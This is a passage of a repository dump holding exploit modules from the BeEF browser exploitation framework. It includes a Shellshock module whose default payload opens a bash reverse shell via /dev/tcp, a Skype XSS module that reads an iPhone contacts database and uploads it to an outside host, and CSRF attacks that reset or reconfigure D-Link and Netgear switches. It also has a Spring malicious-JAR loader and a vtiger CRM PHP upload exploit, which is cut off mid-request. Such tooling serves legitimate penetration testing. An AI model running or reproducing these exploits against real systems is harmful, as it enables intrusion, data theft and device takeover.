view.cgi\n/cgi-bin/hsx.cgi\n/cgi-bin/html2chtml.cgi\n/cgi-bin/html2wml.cgi\n/cgi-bin/htsearch.cgi\n/cgi-bin/icat\n/cgi-bin/if/admin/nph-build.cgi\n/cgi-bin/ikonboard/help.cgi\n/cgi-bin/ImageFolio/admin/admin.cgi\n/cgi-bin/imageFolio.cgi\n/cgi-bin/index.cgi\n/cgi-bin/infosrch.cgi\n/cgi-bin/jammail.pl\n/cgi-bin/journal.cgi\n/cgi-bin/lastlines.cgi\n/cgi-bin/loadpage.cgi\n/cgi-bin/login.cgi\n/cgi-bin/logit.cgi\n/cgi-bin/log-reader.cgi\n/cgi-bin/lookwho.cgi\n/cgi-bin/lwgate.cgi\n/cgi-bin/MachineInfo\n/cgi-bin/MachineInfo\n/cgi-bin/magiccard.cgi\n/cgi-bin/mail/emumail.cgi\n/cgi-bin/maillist.cgi\n/cgi-bin/mailnews.cgi\n/cgi-bin/mail/nph-mr.cgi\n/cgi-bin/main.cgi\n/cgi-bin/main_menu.pl\n/cgi-bin/man.sh\n/cgi-bin/mini_logger.cgi\n/cgi-bin/mmstdod.cgi\n/cgi-bin/moin.cgi\n/cgi-bin/mojo/mojo.cgi\n/cgi-bin/mrtg.cgi\n/cgi-bin/mt.cgi\n/cgi-bin/mt/mt.cgi\n/cgi-bin/mt/mt-check.cgi\n/cgi-bin/mt/mt-load.cgi\n/cgi-bin/mt-static/mt-check.cgi\n/cgi-bin/mt-static/mt-load.cgi\n/cgi-bin/musicqueue.cgi\n/cgi-bin/myguestbook.cgi\n/cgi-bin/.namazu.cgi\n/cgi-bin/nbmember.cgi\n/cgi-bin/netauth.cgi\n/cgi-bin/netpad.cgi\n/cgi-bin/newsdesk.cgi\n/cgi-bin/nlog-smb.cgi\n/cgi-bin/nph-emumail.cgi\n/cgi-bin/nph-exploitscanget.cgi\n/cgi-bin/nph-publish.cgi\n/cgi-bin/nph-test.cgi\n/cgi-bin/pagelog.cgi\n/cgi-bin/pbcgi.cgi\n/cgi-bin/perlshop.cgi\n/cgi-bin/pfdispaly.cgi\n/cgi-bin/pfdisplay.cgi\n/cgi-bin/phf.cgi\n/cgi-bin/photo/manage.cgi\n/cgi-bin/photo/protected/manage.cgi\n/cgi-bin/php-cgi\n/cgi-bin/php.cgi\n/cgi-bin/php.fcgi\n/cgi-bin/ping.sh\n/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi\n/cgi-bin/pollssi.cgi\n/cgi-bin/postcards.cgi\n/cgi-bin/powerup/r.cgi\n/cgi-bin/printenv\n/cgi-bin/probecontrol.cgi\n/cgi-bin/profile.cgi\n/cgi-bin/publisher/search.cgi\n/cgi-bin/quickstore.cgi\n/cgi-bin/quizme.cgi\n/cgi-bin/ratlog.cgi\n/cgi-bin/r.cgi\n/cgi-bin/register.cgi\n/cgi-bin/replicator/webpage.cgi/\n/cgi-bin/responder.cgi\n/cgi-bin/robadmin.cgi\n/cgi-bin/robpoll.cgi\n/cgi-bin/rtpd.cgi\n/cgi-bin/sbcgi/sitebuilder.cgi\n/cgi-bin/scoadminreg.cgi\n/cgi-bin-sdb/printenv\n/cgi-bin/sdbsearch.cgi\n/cgi-bin/search\n/cgi-bin/search.cgi\n/cgi-bin/search/search.cgi\n/cgi-bin/sendform.cgi\n/cgi-bin/shop.cgi\n/cgi-bin/shopper.cgi\n/cgi-bin/shopplus.cgi\n/cgi-bin/showcheckins.cgi\n/cgi-bin/simplestguest.cgi\n/cgi-bin/simplestmail.cgi\n/cgi-bin/smartsearch.cgi\n/cgi-bin/smartsearch/smartsearch.cgi\n/cgi-bin/snorkerz.bat\n/cgi-bin/snorkerz.bat\n/cgi-bin/snorkerz.cmd\n/cgi-bin/snorkerz.cmd\n/cgi-bin/sojourn.cgi\n/cgi-bin/spin_client.cgi\n/cgi-bin/start.cgi\n/cgi-bin/status\n/cgi-bin/status_cgi\n/cgi-bin/store/agora.cgi\n/cgi-bin/store.cgi\n/cgi-bin/store/index.cgi\n/cgi-bin/survey.cgi\n/cgi-bin/sync.cgi\n/cgi-bin/talkback.cgi\n/cgi-bin/technote/main.cgi\n/cgi-bin/test2.pl\n/cgi-bin/test-cgi\n/cgi-bin/test.cgi\n/cgi-bin/testing_whatever\n/cgi-bin/test/test.cgi\n/cgi-bin/tidfinder.cgi\n/cgi-bin/tigvote.cgi\n/cgi-bin/title.cgi\n/cgi-bin/top.cgi\n/cgi-bin/traffic.cgi\n/cgi-bin/troops.cgi\n/cgi-bin/ttawebtop.cgi/\n/cgi-bin/ultraboard.cgi\n/cgi-bin/upload.cgi\n/cgi-bin/urlcount.cgi\n/cgi-bin/viewcvs.cgi\n/cgi-bin/view_help.cgi\n/cgi-bin/viralator.cgi\n/cgi-bin/virgil.cgi\n/cgi-bin/vote.cgi\n/cgi-bin/vpasswd.cgi\n/cgi-bin/way-board.cgi\n/cgi-bin/way-board/way-board.cgi\n/cgi-bin/webbbs.cgi\n/cgi-bin/webcart/webcart.cgi\n/cgi-bin/webdist.cgi\n/cgi-bin/webif.cgi\n/cgi-bin/webmail/html/emumail.cgi\n/cgi-bin/webmap.cgi\n/cgi-bin/webspirs.cgi\n/cgi-bin/Web_Store/web_store.cgi\n/cgi-bin/whois.cgi\n/cgi-bin/whois_raw.cgi\n/cgi-bin/whois/whois.cgi\n/cgi-bin/wrap\n/cgi-bin/wrap.cgi\n/cgi-bin/wwwboard.cgi.cgi\n/cgi-bin/YaBB/YaBB.cgi\n/cgi-bin/zml.cgi\n/cgi-mod/index.cgi\n/cgis/wwwboard/wwwboard.cgi\n/cgi-sys/addalink.cgi\n/cgi-sys/defaultwebpage.cgi\n/cgi-sys/domainredirect.cgi\n/cgi-sys/entropybanner.cgi\n/cgi-sys/entropysearch.cgi\n/cgi-sys/FormMail-clone.cgi\n/cgi-sys/helpdesk.cgi\n/cgi-sys/mchat.cgi\n/cgi-sys/randhtml.cgi\n/cgi-sys/realhelpdesk.cgi\n/cgi-sys/realsignup.cgi\n/cgi-sys/signup.cgi\n/connector.cgi\n/cp/rac/nsManager.cgi\n/create_release.sh\n/CSNews.cgi\n/csPassword.cgi\n/dcadmin.cgi\n/dcboard.cgi\n/dcforum.cgi\n/dcforum/dcforum.cgi\n/debuff.cgi\n/debug.cgi\n/details.cgi\n/edittag/edittag.cgi\n/emumail.cgi\n/enter_buff.cgi\n/enter_bug.cgi\n/ez2000/ezadmin.cgi\n/ez2000/ezboard.cgi\n/ez2000/ezman.cgi\n/fcgi-bin/echo\n/fcgi-bin/echo\n/fcgi-bin/echo2\n/fcgi-bin/echo2\n/Gozila.cgi\n/hitmatic/analyse.cgi\n/hp_docs/cgi-bin/index.cgi\n/html/cgi-bin/cgicso\n/html/cgi-bin/cgicso\n/index.cgi\n/info.cgi\n/infosrch.cgi\n/login.cgi\n/mailview.cgi\n/main.cgi\n/megabook/admin.cgi\n/ministats/admin.cgi\n/mods/apage/apage.cgi\n/_mt/mt.cgi\n/musicqueue.cgi\n/ncbook.cgi\n/newpro.cgi\n/newsletter.sh\n/oem_webstage/cgi-bin/oemapp_cgi\n/page.cgi\n/parse_xml.cgi\n/photodata/manage.cgi\n/photo/manage.cgi\n/print.cgi\n/process_buff.cgi\n/process_bug.cgi\n/pub/english.cgi\n/quikmail/nph-emumail.cgi\n/quikstore.cgi\n/reviews/newpro.cgi\n/ROADS/cgi-bin/search.pl\n/sample01.cgi\n/sample02.cgi\n/sample03.cgi\n/sample04.cgi\n/sampleposteddata.cgi\n/scancfg.cgi\n/scancfg.cgi\n/servers/link.cgi\n/setpasswd.cgi\n/SetSecurity.shm\n/shop/member_html.cgi\n/shop/normal_html.cgi\n/site_searcher.cgi\n/siteUserMod.cgi\n/submit.cgi\n/technote/print.cgi\n/template.cgi\n/test.cgi\n/upload.cgi\n/userreg.cgi\n/users/scripts/submit.cgi\n/vood/cgi-bin/vood_view.cgi\n/Web_Store/web_store.cgi\n/webtools/bonsai/ccvsblame.cgi\n/webtools/bonsai/cvsblame.cgi\n/webtools/bonsai/cvslog.cgi\n/webtools/bonsai/cvsquery.cgi\n/webtools/bonsai/cvsqueryform.cgi\n/webtools/bonsai/showcheckins.cgi\n/wwwadmin.cgi\n/wwwboard.cgi\n/wwwboard/wwwboard.cgi\n"
  },
  {
    "path": "modules/exploits/shell_shock_scanner/update-list",
    "content": "#!/bin/sh\necho \"[*] Deleting old shocker-cgi_list...\"\nrm shocker-cgi_list\necho \"[*] Downloading latest shocker-cgi_list...\"\nwget \"https://raw.githubusercontent.com/nccgroup/shocker/master/shocker-cgi_list\"\n"
  },
  {
    "path": "modules/exploits/shell_shocked/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function () {\n    try {\n        var target = \"<%=@Target%>\";\n        var command = \"<%=@Bash_Command%>\";\n        var method = \"<%=@method%>\";\n        var xhr = new XMLHttpRequest();\n        xhr.open(method, target, true);\n        xhr.onload = function () {\n        };\n        xhr.onreadystatechange = function () {\n            if (xhr.readyState == 4 && xhr.status == 200) {\n                beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=\"+xhr.response);\n            }\n        }\n        xhr.setRequestHeader(\"Accept\", \"() { test;};echo \\\"Content-type: text/plain\\\"; echo; echo; \" + command);\n        xhr.send(null);\n    } catch (e){\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result= Something wrong \"+e.message);\n    }\n});\n"
  },
  {
    "path": "modules/exploits/shell_shocked/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Shell_shocked:\n            enable: true\n            category: \"Exploits\"\n            name: \"Shell Shock (CVE-2014-6271)\"\n            description: \"Attempt to use vulnerability CVE-2014-627 to execute arbitrary code. The default command attempts to get a reverse shell.<br/>Note: Set the LHOST and LPORT.\"\n            authors: [\"Stephane Chazelas\", \"mz\", \"radoen\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/shell_shocked/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Shell_shocked < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = 'LHOST' if lhost == '0.0.0.0'\n    payload = \"/bin/bash -i >& /dev/tcp/#{lhost}/LPORT 0>&1\"\n\n    [\n      { 'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi' },\n      { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' },\n      { 'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => payload }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/skype_xss/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\nbeef.execute(function() {\n\n\tx = new XMLHttpRequest;\n\tx.open(\"get\",\"file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb\");\n\tx.overrideMimeType(\"text/plain; charset=x-user-defined\");\n\tx.send();\n\t\t\n\tx.onreadystatechange = function() {\n\t\tif(x.readyState == 4){\n\t\t\ta = x.responseText || \"\";\n\t\t\tff=[];\n\t\t\tmx=a.length;\n\t\t\tscc = String.fromCharCode;\n\t\t}\t\t\n\t\tfor(var z = 0 ; z < mx ; z++){\n\t\t\tff[z] = scc(a.charCodeAt(z)&255);\n\t\t}\n\t\t\n\t\tb=ff.join(\"\");\n\t\tb=btoa(b);\n\t\txp = new XMLHttpRequest;\n\t\txp.open(\"post\",\"http://example.com/upload.php\",!0);\n\t\txp.setRequestHeader(\"Content-Type\",\"multipart/form-data;boundary=xxx,\");\n\t\ta = \"--xxx\\r\\nContent-Disposition:form-data;name=\\\"media\\\";filename=\\\"ios.sqlitedb\\\"\\r\\nContent-Type:application/octet-stream\\r\\n\\r\\n\"+b+\"\\r\\n--xxx--\";\n\t\txp.send(a);\n\t};\n\t\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'SQL file sent');\n\n});\n\n"
  },
  {
    "path": "modules/exploits/skype_xss/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        skype_xss:\n            enable: true\n            category: \"Exploits\"\n            name: \"Skype iPhone XSS Steal Contacts\"\n            description: \"This module will steal iPhone contacts using a Skype XSS vuln.\"\n            authors: [\"saafan\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/skype_xss/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Skype_xss < BeEF::Core::Command\n  def post_execute\n    # #Stub##\n\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/spring_framework_malicious_jar/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tjar_file        = \"<%= @jar_file %>\";\n\tform_controller = \"<%= @form_controller %>\";\n\n    uri = form_controller+\"?class.classLoader.URLs[0]=jar:\"+jar_file;\n\tvar spring_iframe = beef.dom.createInvisibleIframe();\n\tspring_iframe.setAttribute('src', uri);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(spring_iframe);\n\t}\n\tsetTimeout(\"cleanup()\", 15000);\n\n});\n"
  },
  {
    "path": "modules/exploits/spring_framework_malicious_jar/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        spring_framework_malicious_jar:\n            enable: true\n            category: \"Exploits\"\n            name: \"Spring Framework Malicious Jar Exploit\"\n            description: \"Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).<br/>Specify the URL for a form controller on the target and the URL for your malicious JAR file.<br/>For more information see: http://www.exploit-db.com/exploits/13918/<br/><br/>Versions Affected:<br/>3.0.0 to 3.0.2<br/>2.5.0 to 2.5.6.SEC01 (community releases)<br/>2.5.0 to 2.5.7 (subscription customers)\"\n            authors: [\"bcoles\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/spring_framework_malicious_jar/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Spring_framework_malicious_jar < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller' },\n      { 'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_device_reset/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  // Hooked browser must be authenticated to switch.\n  var base = '<%= @base %>';\n\n  var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [\n    { type: 'hidden', name: 'reset', value: 1 }\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dlink_dgs_iframe);\n  }\n\n  setTimeout(\"cleanup()\", 15000);\n});\n\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_device_reset/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Dlink_dgs_1100_device_reset_csrf:\n            enable: true\n            category: [\"Exploits\", \"Switch\"]\n            name: \"DLINK DGS 1100-08 Device Reset CSRF\"\n            description: \"Reset's everything on the device except for the IP address.  Default password is 'admin'\"\n            authors: [\"Nick Starke\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_device_reset/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dgs_1100_device_reset_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  // Hooked browser must be authenticated to switch.\n  var base = '<%= @base %>';\n  var port = '<%= @port %>';\n  var mac = '<%= @mac %>';\n  var vlanid = '<%= @vlanid %>';\n\n  var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/mac_entry_add.cgi', 'POST', 'application/x-www-form-urlencoded', [\n    { type: 'hidden', name: 'fwdport', value: port },\n    { type: 'hidden', name: 'vid', value: vlanid },\n    { type: 'hidden', name: 'macaddr', value: mac }\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dlink_dgs_iframe);\n  }\n\n  setTimeout(\"cleanup()\", 15000);\n});\n\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Dlink_dgs_1100_fdb_whitelist_csrf:\n            enable: true\n            category: [\"Exploits\", \"Switch\"]\n            name: \"DLINK DGS 1100-08 FDB Whitelist CSRF\"\n            description: \"Adds a MAC Address to the FDB Static Unicast Whitelist.\"\n            authors: [\"Nick Starke\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_fdb_whitelist/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dgs_1100_fdb_whitelist_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' },\n      { 'name' => 'port', 'ui_label' => 'Switch port to add MAC address access to', 'value' => '1' },\n      { 'name' => 'mac', 'ui_label' => 'MAC address to whitelist', 'value' => '00-00-00-00-00-00' },\n      { 'name' => 'vlanid', 'ui_label' => 'VLAN to add rule to', 'value' => '1' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_port_mirroring/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  // Hooked browser must be authenticated to switch.\n  var base = '<%= @base %>';\n  var totalports = parseInt('<%= @totalports %>');\n  var mirrorport = parseInt('<%= @mirrorport %>');\n\n  var mask = '';\n  for (var i = 1; i <= totalports; i++) {\n    mask += i == mirrorport ? \"0\" : \"1\";\n  }\n\n  var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/PortMirroring.cgi', 'POST', 'application/x-www-form-urlencoded', [\n    { type: 'hidden', name: 'cEn', value: 1 },\n    { type: 'hidden', name: 'sTagP', value: mirrorport },\n    { type: 'hidden', name: 'sMode', value: 2 },\n    { type: 'hidden', name: 'SrcLst', value: mask }\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(dlink_dgs_iframe);\n  }\n\n  setTimeout(\"cleanup()\", 15000);\n});\n\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_port_mirroring/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Dlink_dgs_1100_port_mirroring_csrf:\n            enable: true\n            category: [\"Exploits\", \"Switch\"]\n            name: \"DLINK DGS 1100-08 Port Mirroring CSRF\"\n            description: \"Enables port mirroring on a specified switch port\"\n            authors: [\"Nick Starke\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/switch/dlink_dgs_1100_port_mirroring/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Dlink_dgs_1100_port_mirroring_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://10.90.90.90' },\n      { 'name' => 'mirrorport', 'ui_label' => 'Switch port to mirror traffic on', 'value' => 1 },\n      { 'name' => 'totalports', 'ui_label' => 'Total number of ports on switch', 'value' => 8 }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/switch/netgear_gs108t_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base = '<%= @base %>';\n  var oldpassword = '<%= @oldpassword %>';\n  var newpassword = '<%= @newpassword %>';\n \n  var gs_iframe = beef.dom.createInvisibleIframe();\n  gs_login = function()  {\n     var d = new Date;\n     var rtime = (d.getTime() / 500);\n     gs_iframe.setAttribute('src', base+'login.cgi?passwd='+oldpassword+'&rtime='+rtime);\n  }\n\n  var gs108t_iframe = beef.dom.createInvisibleIframe();\n  gs_change_pwd = function() {\n     gs108t_iframe.setAttribute('src', base+'password.cgi?inputBox_oldPassword='+oldpassword+'&inputBox_newPassword='+newpassword+'&inputBox_retypeNewPassword='+newpassword);\n  }\n\n  //login to create the cookie\n  gs_login();\n\n  //wait some miliseconds and attempt to change the password\n  setTimeout(\"gs_change_pwd()\", 500);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(gs108t_iframe);\n    document.body.removeChild(gs_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n});\n\n"
  },
  {
    "path": "modules/exploits/switch/netgear_gs108t_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        Netgear_gs108t_csrf:\n            enable: true\n            category: [\"Exploits\", \"Switch\"]\n            name: \"Netgear GS108T CSRF\"\n            description: \"Attempts to change the password on a Netgear GS108T managed switch.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/switch/netgear_gs108t_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Netgear_gs108t_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Switch web root', 'value' => 'http://192.168.0.239/' },\n      { 'name' => 'oldpassword', 'ui_label' => 'Old Password', 'value' => 'password' },\n      { 'name' => 'newpassword', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/vtiger_crm_upload_exploit/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n// VtigerCRM <= 5.0.4 \"chained exploitation\" PoC \n// Hacked up for OWASP New Zealand Day, July 13th 2009\n//\n// Thanks for the BeEF Wade :) \n\n// Ported to Ruby BeEF by xntrik 2010\n\nbeef.execute(function() {\n\n\t//Doing the same trick I used in detect_tor to ensure exploit runs once\n\t// xntrik\n\n\tif (document.getElementById('vtigerimg')) {\n\t\t//document.body.removeChild(document.getElementById('vtigerimg'));\n\t\t//beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!');\t\n\t\treturn \"Exploit running already\";\n\t}\n\n\tvar img = new Image();\n\timg.setAttribute(\"style\",\"visibility:hidden\");\n\timg.setAttribute(\"width\",\"0\");\n\timg.setAttribute(\"height\",\"0\");\n\timg.id = 'vtigerimg';\n\n\tdocument.body.appendChild(img);\n\n\tbaseurl = \"<%= @vtiger_url %>\";\n\n\tfunction get_ajax() {\n\t\tvar http_request;\n\t    // use the ActiveX control for IE5.x and IE6\n\t    try {\n\t        http_request = new ActiveXObject(\"MSXML2.XMLHTTP\");\n\t    } catch (othermicrosoft){\n\t        try {\n\t            http_request = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t        } catch (native) {\n\t            // If IE7, Mozilla, Safari, etc: Use native object\n\t            http_request = new XMLHttpRequest();\n\t        }\n\t    }\n\t    return http_request;\n\t}\n\n\tfunction do_upload(){ \n\t\tsetTimeout(function() {ajax_upload()}, 1000);\n\t}\n\n\t// In a nutshell: \n\t// \n\t// 1) build url \n\t// 2) construct the request object\n\t// 3) POST the form \n\t// 4) once requestdone, call do_callfile()\n\n\tfunction ajax_upload(){ \n\t\tvar targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index';\n\n\t    var http_request;\n\t    \n\t    http_request = false;\n\t    http_request = get_ajax();\n\n\t\tif (!http_request) {\n\t\t\t// fail silently!\n\t\t\treturn false;\n\t\t}\n\n\t\t//prepare the POST \n\t\tvar boundaryString = 'PWNED';\n\t\tvar boundary = '-----------------------------PWNED';\n\t\tvar requestbody =\n\t\tboundary + '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"' + '\\r\\n' \n\t\t+ '\\r\\n' \n\t\t+ 3000000 + '\\r\\n'\n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"return_module\"' + '\\r\\n' \n\t\t+ '\\r\\n'\n\t\t+ '\\r\\n'\n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"return_action\"' + '\\r\\n' \n\t\t+ '\\r\\n'\n\t\t+ '\\r\\n'\n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"return_id\"' + '\\r\\n' \n\t\t+ '\\r\\n'\n\t\t+ '\\r\\n' \n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"uploadsubject\"' + '\\r\\n' \n\t\t+ '\\r\\n' \n\t\t+ '\\r\\n' \n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"filename\"; filename=\"<%= @mal_filename %>.<%= @mal_ext %>\"' + '\\r\\n' \n\t\t+ 'Content-Type: application/x-httpd-php' + '\\r\\n' \n\t\t+ '\\r\\n'\n\t\t+ '<%= @vtiger_php %>' + '\\r\\n'\n\t\t+ '\\r\\n'\n\t\t+ boundary\n\t\t+ '\\r\\n'                                   \n\t\t+ 'Content-Disposition: form-data; name=\"filename_hidden\"' + '\\r\\n'\n\t\t+ '\\r\\n' \n\t\t+ '<%= @mal_filename %>.<%= @mal_ext %>'\n\t\t+ '\\r\\n'\n\t\t+ boundary\n\t\t+ '\\r\\n'\n\t\t+ 'Content-Disposition: form-data; name=\"txtDescription\"' + 